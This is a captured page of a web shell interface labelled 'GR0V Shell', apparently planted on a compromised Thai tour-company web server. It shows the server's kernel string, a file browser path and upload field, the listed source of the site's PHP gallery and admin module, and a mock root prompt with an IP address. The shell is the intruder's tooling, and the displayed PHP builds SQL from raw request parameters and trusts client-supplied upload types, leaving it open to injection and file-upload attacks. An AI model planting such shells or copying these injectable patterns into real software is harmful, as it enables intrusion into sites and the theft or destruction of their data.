? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/modules/gallery/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/modules/gallery/mod_article_n.php

<?
class article_n extends MySql
{
function add_category($name,$detail){
$numRow=$this->check_data('news_cat','name',$name);
if($numRow==""){
if($name!=""&&$detail!=""){

$result=$this->Query("insert into news_cat (name,detail) values ('$name','$detail')");
if($result){
echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=news&ac=show_category&msg=1\">";
}else{
	$error="ไม่สามารถบันทึกข้อมูลได้ในขณะนี้ค่ะ";
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}
}else{
	$error="กรอกข้อมูลไม่ครบค่ะ";
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}//จบ ตรวจสอบว่าข้อมูลครบหรือไม
	}else{
//ข้อมูลมีในฐานข้อมูลหรือป่าว
$error="ชื่อหมวดหมู่ซ้ำกับของเดิม";
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
	}	//จบข้อมูลมีในฐานข้อมูลหรือป่าว

}//end
function edit_category($name,$detail,$cat_id){
	if($this->check_data_edit('news_cat','name',$name,'id',$cat_id)==''){
	if($name!=""&&$detail!=""){
	$result=$this->Query("UPDATE news_cat set name='$name',detail='$detail' where id='$cat_id'");
if($result){
	echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=news&ac=edit_cat&cat_id=$cat_id&msg=2\">";
}else{
		$error="ไม่สามารถแก้ไขข้อมูลได้";
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}
}else{
	//else check ข้อมูลครบหรือไม่
		$error="ไม่สามารถแก้ไขข้อมูลได้";
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}// จบการตรวจสอบข้อมูลว่าครบไหม
	}else{
// จบตรวจสอบว่าชื่อซ้ำกันหรือไม
		$error="ชื่อหมวดหมู่มีในฐานข้อมูลแล้ว";
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
	}// จบตรวจสอบว่าชื่อซ้ำกันหรือไม่
}//end edit_category
function del_cat(){
$cat_id=$_GET['cat_id'];
$this->setQuery("SELECT id FROM news");
$rs=$this->QueryReturn();
$numrow=$this->numRows();
if($numrow==''){
 $result=$this->Query("DELETE FROM news_cat WHERE  id='$cat_id'");
	if($result==1){
	echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=news&ac=show_category&msg=3\">";
}else{
	$error="ไม่สามารถลบข้อมูลได้";
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}
}else{
$error="ไม่สามารถลบข้อมูลได้ เนื่องจากหมวดหมู่นี้ยังมีเรื่องเหลืออยู่ในฐานข้อมูล กรุณาลบเรื่องก่อนค่ะ";
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}//จบการตรวจสอบว่ามีข้อมูลหัวข้ออยู่ในฐานข้อมูลหรือไม่
}//end function del_cat

function add_gallery(){
	global $user_login;
	$id_g = date("YmdHis").rand(0,9);
	$addarr=array(
	'id_g'=>$id_g,
	'name_gallery'=>$_POST['namegaiiey'],
	'detail_gallery'=>$_POST['detaigallery'],
	'MetaTitle_gallery'=>$_POST['MetaTitle_gallery'],
	'MetaKeyword_gallery'=>$_POST['MetaKeyword_gallery'],
	'MetaDescription_gallery'=>$_POST['MetaDescription_gallery'],
	'show_incentive'=>$_POST['show_incentive'],
	);
if($_POST['namegaiiey']!=''){
if ($_SESSION["la"] == 1){
	$this->Insert('gallery',$addarr);
}else{
	$this->Insert('gallery_en',$addarr);
}

}
$i=0;
while(isset($_FILES['files']['name'][$i])){
if($_FILES['files']['name'][$i] != ''){
	$filename	= $_FILES['files']['name'][$i];
	$filetype	= $_FILES['files']['type'][$i];
	$filetmp	= $_FILES['files']['tmp_name'][$i];
	
	$pic=Random_Int(8).date('dmYHism',time());
																
	if($filetype == "image/gif"){
			$ContentPhoto=$pic.".gif";
	}else if ( $filetype == "image/bmp"){
			$ContentPhoto=$pic.".bmp";
	}else if ( $filetype == "image/png"){
			$ContentPhoto=$pic.".png";
	}else if (($filetype =="image/jpg")||($filetype  =="image/jpeg")||($filetype =="image/pjpeg")){
			$ContentPhoto=$pic.".jpg";
	}
	
	if($ContentPhoto != ""){
				if ($filetype != ""){
					move_uploaded_file($filetmp, "images/gallery/".$ContentPhoto);
				}
	}
	$i++;
	$addarr=array(
		'picture'=>$ContentPhoto,
		'id_g'=>$id_g,
		'time_add'=>date("Y-m-d H:i:s"),
	);
if ($_SESSION["la"] == 1){
	$this->Insert('gallery_phote',$addarr);	
}else{
	$this->Insert('gallery_phote_en',$addarr);	
}

}else{
$i++;
}
}
echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=gallery&msg=1\">";
}//end function add_produce

function add_topic(){
	global $user_login;
	$addarr=array(
	'group1'=>$user_login['Type'],
	'name'=>$_POST['name'],
	'detail'=>$_POST['detail'],
	'timeadd'=>date('Y-m-d H:i:s',time()),
	);
	
$chk_count=count($addarr);
$i=0;

foreach($addarr as $key=>$v){    
	$i++;
	$v=$this->db_input($v);
	if($i==$chk_count){
		$fields.="$key";
		$value.="'$v'";
	}else{
		$value.="'$v',";
	$fields.="$key,";
	}

}//จบ foreach
	$sql="INSERT INTO contents (".$fields.") values (".$value.")";
	$this->setQuery($sql);
	$result=$this->QueryReturn();
	if($result){
	echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=content&msg=1\">";
}else{
		$error="ไม่สามารถเพิ่มข้อมูลได้".$this->mysqlError();
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}
}//end function add_produce


function edit_topic($topic_id){
	global $user_login;
$addarr=array(
	'ContentDetail'=>$_POST['ContentDetail'],
	'ContentAddTime'=>date('Y-m-d H:i:s',time()),
		);
$result=$this->Update($table='adt_content',$addarr,"where ContentID='$topic_id'");
	if($result==1){
	echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=content&msg=2\">";
}else{
		$error="ไม่สามารถเพิ่มข้อมูลได้".$this->mysqlError();
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}
}//end function add_produce
function set_first_page(){
	$topic_id=$_GET['id'];
	global $user_login;
	$this->Query("UPDATE contents set show1='' WHERE group1='".$user_login['Type']."'");
$sql=$this->setQuery("UPDATE contents set show1='Yes' WHERE group1='".$user_login['Type']."' AND id='".$topic_id."'");
$result=$this->QueryReturn();

	if($result){echo $sql;
						echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=content&msg=2\">";
					}else{
						$error="ไม่สามารถเพิ่มข้อมูลได้".$this->mysqlError();
						echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
						exit(0);
}
}//end function add_produce
function del_topic(){
global $user_login,$db;
$topic_id=$_GET['id'];
if ($_SESSION["la"] == 1){
$result=$this->Query("SELECT * FROM gallery_phote WHERE id_g='$topic_id' ");
while($arr=mysql_fetch_array($result)){
$flgDelete = unlink("images/gallery/".$arr['picture']);
}
$result=$this->Query("DELETE FROM gallery WHERE id_g='$topic_id' ");
$result1=$this->Query("DELETE FROM gallery_phote WHERE id_g='$topic_id' ");
}else{
$result=$this->Query("SELECT * FROM gallery_phote_en WHERE id_g='$topic_id' ");
while($arr=mysql_fetch_array($result)){
$flgDelete = unlink("images/gallery/".$arr['picture']);
}
$result=$this->Query("DELETE FROM gallery_en WHERE id_g='$topic_id' ");
$result1=$this->Query("DELETE FROM gallery_phote_en WHERE id_g='$topic_id' ");
}

if($result==1){
echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=gallery&msg=3\">";	
}else{
	$error="ไม่สามารถลบข้อมูลได้";
	
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}
}//end function del_topic
function delete_photo_gallery(){
global $user_login,$db;
$id_p=$_GET['id_p'];
$topic_id=$_GET['id'];
if ($_SESSION["la"] == 1){
$result=$this->Query("SELECT * FROM gallery_phote WHERE id_p='$id_p' ");
$arr=mysql_fetch_array($result);
$flgDelete = unlink("images/gallery/".$arr['picture']);
$result=$this->Query("DELETE FROM gallery_phote WHERE id_p='$id_p' ");
}else{
$result=$this->Query("SELECT * FROM gallery_phote_en WHERE id_p='$id_p' ");
$arr=mysql_fetch_array($result);
$flgDelete = unlink("images/gallery/".$arr['picture']);
$result=$this->Query("DELETE FROM gallery_phote_en WHERE id_p='$id_p' ");
}

if($result==1){
echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=gallery&ac=edit_data&id={$topic_id}&msg=3\">";	
}else{
	$error="ไม่สามารถลบข้อมูลได้";
	
	echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n";
	exit(0);
}
}

function edit_gallery(){
global $user_login,$db;
	
	$namegaiiey = $_POST['namegaiiey'];
	$detaigallery = $_POST['detaigallery'];
	$MetaTitle_gallery=$_POST['MetaTitle_gallery'];
	$MetaKeyword_gallery=$_POST['MetaKeyword_gallery'];
	$MetaDescription_gallery=$_POST['MetaDescription_gallery'];
	$show_incentive=$_POST['show_incentive'];
	$id_g = $_POST['id_g'];
	if ($_SESSION["la"] == 1){
if($this->Query("UPDATE gallery set name_gallery='$namegaiiey',detail_gallery='$detaigallery',MetaTitle_gallery='$MetaTitle_gallery',MetaKeyword_gallery='$MetaKeyword_gallery',MetaDescription_gallery='$MetaDescription_gallery',show_incentive=$show_incentive WHERE id_g='$id_g' ")){
	}
}else{
if($this->Query("UPDATE gallery_en set name_gallery='$namegaiiey',detail_gallery='$detaigallery',MetaTitle_gallery='$MetaTitle_gallery',MetaKeyword_gallery='$MetaKeyword_gallery',MetaDescription_gallery='$MetaDescription_gallery' WHERE id_g='$id_g' ")){
	}
}
	
	$i=0;
while(isset($_FILES['files']['name'][$i])){
if($_FILES['files']['name'][$i] != ''){
	$filename	= $_FILES['files']['name'][$i];
	$filetype	= $_FILES['files']['type'][$i];
	$filetmp	= $_FILES['files']['tmp_name'][$i];
	
	$pic=Random_Int(8).date('dmYHism',time());
																
	if($filetype == "image/gif"){
			$ContentPhoto=$pic.".gif";
	}else if ( $filetype == "image/bmp"){
			$ContentPhoto=$pic.".bmp";
	}else if ( $filetype == "image/png"){
			$ContentPhoto=$pic.".png";
	}else if (($filetype =="image/jpg")||($filetype  =="image/jpeg")||($filetype =="image/pjpeg")){
			$ContentPhoto=$pic.".jpg";
	}
	
	if($filename!= ""){
				if ($filetype != ""){
					move_uploaded_file($filetmp, "images/gallery/".$ContentPhoto);
				}
	}
	$i++;
	$addarr=array(
		'picture'=>$ContentPhoto,
		'id_g'=>$id_g,
		'time_add'=>date("Y-m-d H:i:s"),
	);
	if ($_SESSION["la"] == 1){
	$this->Insert('gallery_phote',$addarr);	
}else{
	$this->Insert('gallery_phote_en',$addarr);	
}

}else{
$i++;
}
}
echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=gallery&msg=1\">";
}

function setActive(){
	global $user_login;
	$do=$_GET['do'];
	$id=$_GET['topic_id'];
//	$this->Query("UPDATE gallery set public='1' ");
	if($this->Query("UPDATE gallery set public='$do' WHERE id='$id' ")){
	//echo "UPDATE gallery set public='$do' WHERE id='$id' ";
	echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=gallery&msg=2\">";
	}
}



}//end class
?>

T1KUS90T
  root-grov@210.1.60.28:~$